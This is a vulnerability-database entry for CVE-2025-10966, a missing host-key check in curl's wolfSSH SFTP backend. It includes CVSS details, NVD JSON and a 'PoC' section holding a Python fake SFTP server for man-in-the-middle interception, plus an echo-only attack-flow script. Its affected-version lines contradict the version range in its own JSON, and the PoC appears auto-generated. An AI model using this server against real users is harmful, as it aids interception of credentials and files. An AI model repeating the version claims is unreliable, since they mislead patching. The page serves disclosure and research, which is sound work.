Security Vulnerability Report
中文
CVE-2025-10966 CVSS 4.3 MEDIUM

CVE-2025-10966

Published: 2025-11-07 08:15:40
Last Modified: 2026-01-20 14:57:03
Source: 2499f714-1537-4658-8207-48ae4bb9eae9

Description

curl's code for managing SSH connections when SFTP was done using the wolfSSH powered backend was flawed and missed host verification mechanisms. This prevents curl from detecting MITM attackers and more.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:* - VULNERABLE
curl (wolfSSH backend) < 8.11.0
curl (wolfSSH backend) < 8.10.8
Specific affected versions depend on curl release containing wolfSSH backend with the verification bug

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10966 PoC - curl wolfSSH SFTP MITM Attack Simulation # This PoC demonstrates the host key verification bypass in curl's wolfSSH backend import socket import threading import paramiko import time from paramiko import RSAKey, Transport class FakeSFTPServer: """Simulate a malicious SFTP server that exploits missing host verification""" def __init__(self, host='0.0.0.0', port=22, target_port=22): self.host = host self.port = port self.target_port = target_port self.host_key = RSAKey.generate(2048) def start(self): """Start the fake SFTP server""" server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((self.host, self.port)) server_socket.listen(5) print(f"[*] Fake SFTP server listening on port {self.port}") while True: client_socket, addr = server_socket.accept() print(f"[+] Connection received from {addr}") threading.Thread(target=self.handle_client, args=(client_socket,)).start() def handle_client(self, client_socket): """Handle client connection - exploit missing host verification""" try: transport = Transport(client_socket) transport.add_server_key(self.host_key) transport.start_server() # Wait for client authentication channel = transport.accept(timeout=30) if channel: print("[+] Client connected - host verification was BYPASSED") print("[!] Attacker can now intercept/modify all SFTP traffic") # Log intercepted activity channel.send(b"Welcome to fake SFTP server\r\n") time.sleep(1) channel.close() except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() def generate_mitm_script(): """Generate script to demonstrate MITM attack scenario""" return '''#!/bin/bash # CVE-2025-10966 MITM Attack Script # For educational and authorized testing purposes only echo "CVE-2025-10966: curl wolfSSH SFTP Host Verification Bypass" echo "=========================================================" echo "" echo "Attack Prerequisites:" echo "1. Attacker must be positioned for MITM (same network/ARP spoofing)" echo "2. Target must be using curl with wolfSSH backend for SFTP" echo "3. No host key verification is performed by vulnerable curl" echo "" echo "Attack Flow:" echo "1. Attacker intercepts SFTP connection request" echo "2. Attacker presents their own SSH host key" echo "3. Vulnerable curl accepts key WITHOUT verification" echo "4. Attacker establishes 'secure' channel with victim" echo "5. All data (credentials, files) can be intercepted" echo "" echo "Detection Method:" echo "# Check if curl was built with wolfSSH support" echo "curl --version | grep wolfssh" echo "" echo "# Verify host key changes (if verification was working)" echo "ssh-keyscan -t rsa sftp-server.example.com" ''' if __name__ == "__main__": print("CVE-2025-10966 PoC - curl wolfSSH SFTP Host Verification Bypass") print("=" * 70) print("\n[!] This PoC is for educational and authorized testing purposes only") print("\nStarting fake SFTP server...") server = FakeSFTPServer(host='0.0.0.0', port=2222) server.start()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10966", "sourceIdentifier": "2499f714-1537-4658-8207-48ae4bb9eae9", "published": "2025-11-07T08:15:39.617", "lastModified": "2026-01-20T14:57:03.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "curl's code for managing SSH connections when SFTP was done using the wolfSSH\npowered backend was flawed and missed host verification mechanisms.\n\nThis prevents curl from detecting MITM attackers and more."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.69.0", "versionEndExcluding": "8.17.0", "matchCriteriaId": "8305F329-73B7-4DFC-9EA2-AD77D31E14A9"}]}]}], "references": [{"url": "https://curl.se/docs/CVE-2025-10966.html", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Vendor Advisory", "Patch"]}, {"url": "https://curl.se/docs/CVE-2025-10966.json", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Vendor Advisory"]}, {"url": "https://hackerone.com/reports/3355218", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/05/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory", "Patch"]}]}}